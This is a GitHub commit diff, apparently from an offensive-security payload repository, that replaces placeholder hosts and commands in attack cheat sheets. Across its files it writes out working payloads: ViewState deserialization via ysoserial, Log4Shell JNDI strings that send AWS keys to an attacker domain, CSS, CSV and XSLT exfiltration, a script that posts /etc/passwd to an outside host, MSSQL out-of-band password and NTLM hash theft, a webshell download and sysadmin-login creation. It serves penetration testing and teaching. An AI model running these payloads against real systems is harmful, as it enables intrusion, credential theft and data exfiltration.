Skip to content

Commit d4e6eda

Browse files
committed
Normalize commands, callbacks and references
1 parent a79b1f5 commit d4e6eda

17 files changed

Lines changed: 114 additions & 114 deletions

File tree

API Key Leaks/IIS-Machine-Keys.md

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -98,8 +98,8 @@ Try multiple machine keys from known products, Microsoft documentation, or other
9898
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r
9999
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5
100100
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/
101-
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/
102-
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/
101+
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://10.10.10.10:8080/
102+
python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://10.10.10.10:8080/a1/b/c1/
103103
```
104104
105105
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
@@ -143,7 +143,7 @@ First you need to decode the Viewstate to know if the MAC and the encryption are
143143
### MAC Is Not Enabled
144144
145145
```ps1
146-
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
146+
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c whoami"
147147
```
148148

149149
### MAC Is Enabled And Encryption Is Disabled
@@ -159,8 +159,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
159159
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
160160
161161
```ps1
162-
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
163-
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
162+
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
163+
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
164164
165165
# --generator = `__VIEWSTATEGENERATOR` parameter value
166166
# --validationkey = validation key from the previous command
@@ -175,13 +175,13 @@ If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework
175175
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
176176
177177
```ps1
178-
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
178+
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
179179
```
180180
181181
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
182182
183183
```ps1
184-
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
184+
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
185185
```
186186
187187
## Edit Cookies With The Machine Key

Account Takeover/README.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -33,17 +33,17 @@
3333
### Account Takeover Through Password Reset Poisoning
3434

3535
1. Intercept the password reset request in Burp Suite
36-
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
36+
2. Add or edit the following headers in Burp Suite : `Host: [ATTACKER.DOMAIN.TLD]`, `X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]`
3737
3. Forward the request with the modified header
3838

3939
```http
4040
POST https://example.com/reset.php HTTP/1.1
4141
Accept: */*
4242
Content-Type: application/json
43-
Host: attacker.com
43+
Host: [ATTACKER.DOMAIN.TLD]
4444
```
4545
46-
4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
46+
4. Look for a password reset URL based on the *host header* like : `https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN`
4747
4848
### Password Reset via Email Parameter
4949
@@ -142,7 +142,7 @@ Refer to **HTTP Request Smuggling** vulnerability page.
142142
2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
143143
144144
```powershell
145-
GET http://something.burpcollaborator.net HTTP/1.1
145+
GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1
146146
X:
147147
```
148148
@@ -157,7 +157,7 @@ Refer to **HTTP Request Smuggling** vulnerability page.
157157
158158
0
159159
160-
GET http://something.burpcollaborator.net HTTP/1.1
160+
GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1
161161
X: X
162162
```
163163
@@ -173,7 +173,7 @@ Hackerone reports exploiting this bug
173173
174174
### Account Takeover via JWT
175175
176-
JSON Web Token might be used to authenticate an user.
176+
JSON Web Token might be used to authenticate a user.
177177
178178
* Edit the JWT with another User ID / Email
179179
* Check for weak JWT signature

CONTRIBUTING.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ In order to provide the safest payloads for the community, the following rules m
1212

1313
- Payloads must be sanitized
1414
- Use `id`, and `whoami`, for RCE Proof of Concepts
15-
- Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
15+
- Use `[ATTACKER.DOMAIN.TLD]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
1616
- Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
1717
- Use `Administrator` for privileged users and `User` for normal account
1818
- Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples

CSS Injection/README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@ input[value^="TOKEN_012"] {
4747

4848
```css
4949
input[name="pin"][value="1234"] {
50-
background: url(https://attacker.com/log?pin=1234);
50+
background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
5151
}
5252
```
5353

@@ -57,7 +57,7 @@ input[name="pin"][value="1234"] {
5757

5858
```css
5959
input[name="csrf-token"][value^="a"] + input {
60-
background: url(https://example.com?q=a)
60+
background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
6161
}
6262
```
6363

@@ -76,8 +76,8 @@ div:has(input[value="1337"]) {
7676
This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.
7777

7878
```html
79-
<style>@import url(http://attacker.com/staging?len=32);</style>
80-
<style>@import'//YOUR-PAYLOAD.oastify.com'</style>
79+
<style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
80+
<style>@import'//[ATTACKER.DOMAIN.TLD]'</style>
8181
```
8282
8383
Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.

CSV Injection/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,7 @@ Google Sheets allows some additional formulas that are able to fetch remote URLs
7676
So one can test blind formula injection or a potential for data exfiltration with:
7777
7878
```text
79-
=IMPORTXML("http://[REDACTED]/csv", "//a/@href")
79+
=IMPORTXML("http://[ATTACKER.DOMAIN.TLD]/csv", "//a/@href")
8080
```
8181

8282
Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.

CVE Exploits/Log4Shell.md

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -45,63 +45,63 @@ bundle:config:db.password
4545

4646
## Scanning
4747

48-
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
48+
* [fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) - Log4Shell scanning utility
4949

5050
```powershell
5151
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
5252
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
53-
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
54-
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
53+
python3 log4j-scan.py -u http://10.10.10.10:8081 --run-all-test
54+
python3 log4j-scan.py -u http://10.10.10.10:8080 --waf-bypass
5555
```
5656
5757
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
5858
5959
## WAF Bypass
6060
6161
```powershell
62-
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
62+
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://10.10.10.10:1389/a}
6363
6464
# using lower and upper
65-
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
66-
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
65+
${${lower:jndi}:${lower:rmi}://10.10.10.10:1389/poc}
66+
${j${loWer:Nd}i${uPper::}://10.10.10.10:1389/poc}
6767
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
6868
6969
# using env to create the letter
70-
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
71-
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
70+
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//[ATTACKER.DOMAIN.TLD]/a}
71+
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//[ATTACKER.DOMAIN.TLD]/a}
7272
```
7373

7474
## Exploitation
7575

7676
### Environment variables exfiltration
7777

7878
```powershell
79-
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
79+
${jndi:ldap://${env:USER}.${env:USERNAME}.[ATTACKER.DOMAIN.TLD]:1389/
8080
8181
# AWS Access Key
82-
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
82+
${jndi:ldap://${env:USER}.${env:USERNAME}.[ATTACKER.DOMAIN.TLD]:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
8383
```
8484

8585
### Remote Command Execution
8686

87-
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
87+
* [artsploit/rogue-jndi](https://github.com/artsploit/rogue-jndi) - Rogue JNDI LDAP/RMI exploitation server
8888

8989
```ps1
90-
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
91-
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
92-
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
93-
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
94-
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
95-
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
96-
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
97-
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
98-
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
90+
java -jar target/RogueJndi-1.1.jar --command "whoami" --hostname "10.10.10.10"
91+
Mapping ldap://10.10.10.11:1389/ to artsploit.controllers.RemoteReference
92+
Mapping ldap://10.10.10.11:1389/o=reference to artsploit.controllers.RemoteReference
93+
Mapping ldap://10.10.10.11:1389/o=tomcat to artsploit.controllers.Tomcat
94+
Mapping ldap://10.10.10.11:1389/o=groovy to artsploit.controllers.Groovy
95+
Mapping ldap://10.10.10.11:1389/o=websphere1 to artsploit.controllers.WebSphere1
96+
Mapping ldap://10.10.10.11:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
97+
Mapping ldap://10.10.10.11:1389/o=websphere2 to artsploit.controllers.WebSphere2
98+
Mapping ldap://10.10.10.11:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
9999
```
100100
101-
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
101+
* [pimps/JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) - JNDI exploitation helper toolkit
102102
103103
## References
104104
105-
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
106-
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
107-
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
105+
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - LunaSec - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
106+
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - LunaSec - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
107+
* [PSA: Log4Shell and the current state of JNDI injection - Moritz Bechler - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)

Command Injection/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -134,7 +134,7 @@ Sometimes, direct command execution from the injection might not be possible, bu
134134

135135
```ps1
136136
# -o, --output <file> Write to file instead of stdout
137-
curl http://evil.attacker.com/ -o webshell.php
137+
curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php
138138
```
139139
140140
### Inside A Command

Headless Browser/README.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,7 @@ Since the file access is allowed, an atacker can create and expose an HTML file
5353
async function getFlag(){
5454
response = await fetch("file:///etc/passwd");
5555
flag = await response.text();
56-
fetch("https://attacker.com/", { method: "POST", body: flag})
56+
fetch("https://[ATTACKER.DOMAIN.TLD]/", { method: "POST", body: flag})
5757
};
5858
getFlag();
5959
</script>
@@ -106,7 +106,7 @@ The Remote Debugging Port in a headless browser (like Headless Chrome or Chromiu
106106
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
107107
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
108108
* Data stored in the settings (username, passwords, token): `chrome://settings`
109-
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
109+
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://[ATTACKER.DOMAIN.TLD]/?port=<port>`
110110
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
111111

112112
```json

SAML Injection/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -174,7 +174,7 @@ Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_At
174174
<xsl:template match="doc">
175175
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
176176
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
177-
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
177+
<xsl:variable name="attackerUrl" select="'http://[ATTACKER.DOMAIN.TLD]/'"/>
178178
<xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
179179
<xsl:value-of select="unparsed-text($exploitUrl)"/>
180180
</xsl:template>

SQL Injection/MSSQL Injection.md

Lines changed: 18 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -304,36 +304,36 @@ Technique from [@ptswarm](https://twitter.com/ptswarm/status/1313476695295512578
304304
* **Permission**: Requires `VIEW SERVER STATE` permission on the server.
305305

306306
```powershell
307-
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
307+
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.xem',null,null))
308308
```
309309

310310
* **Permission**: Requires the `CONTROL SERVER` permission.
311311

312312
```powershell
313-
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
314-
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
313+
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\',default,default)))
314+
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.trc',default))
315315
```
316316

317317
### MSSQL UNC Path
318318

319319
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
320320

321321
```sql
322-
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
322+
1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';--
323323
```
324324

325325
```sql
326-
xp_dirtree '\\attackerip\file'
327-
xp_fileexist '\\attackerip\file'
328-
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
329-
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
330-
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
331-
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
332-
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
333-
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
334-
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
335-
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
336-
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
326+
xp_dirtree '\\10.10.10.10\file'
327+
xp_fileexist '\\10.10.10.10\file'
328+
BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file'
329+
BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file'
330+
RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file'
331+
RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file'
332+
RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file'
333+
RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file'
334+
RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file'
335+
RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file'
336+
RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file'
337337
```
338338

339339
## MSSQL Trusted Links
@@ -366,8 +366,8 @@ A trusted link in Microsoft SQL Server is a linked server relationship that allo
366366
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
367367
368368
-- Create a SQL user and give sysadmin privileges
369-
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
370-
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMAIN\SERVER1"') AT "DOMAIN\SERVER2"
369+
EXECUTE('EXECUTE(''CREATE LOGIN User WITH PASSWORD = ''''Password123'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"
370+
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''User'''' , ''''sysadmin'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"
371371
```
372372

373373
## MSSQL Privileges
@@ -402,7 +402,7 @@ A trusted link in Microsoft SQL Server is a linked server relationship that allo
402402
### MSSQL Make User DBA
403403

404404
```sql
405-
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
405+
EXEC master.dbo.sp_addsrvrolemember 'User', 'sysadmin';
406406
```
407407

408408
## MSSQL Database Credentials

0 commit comments

Comments
 (0)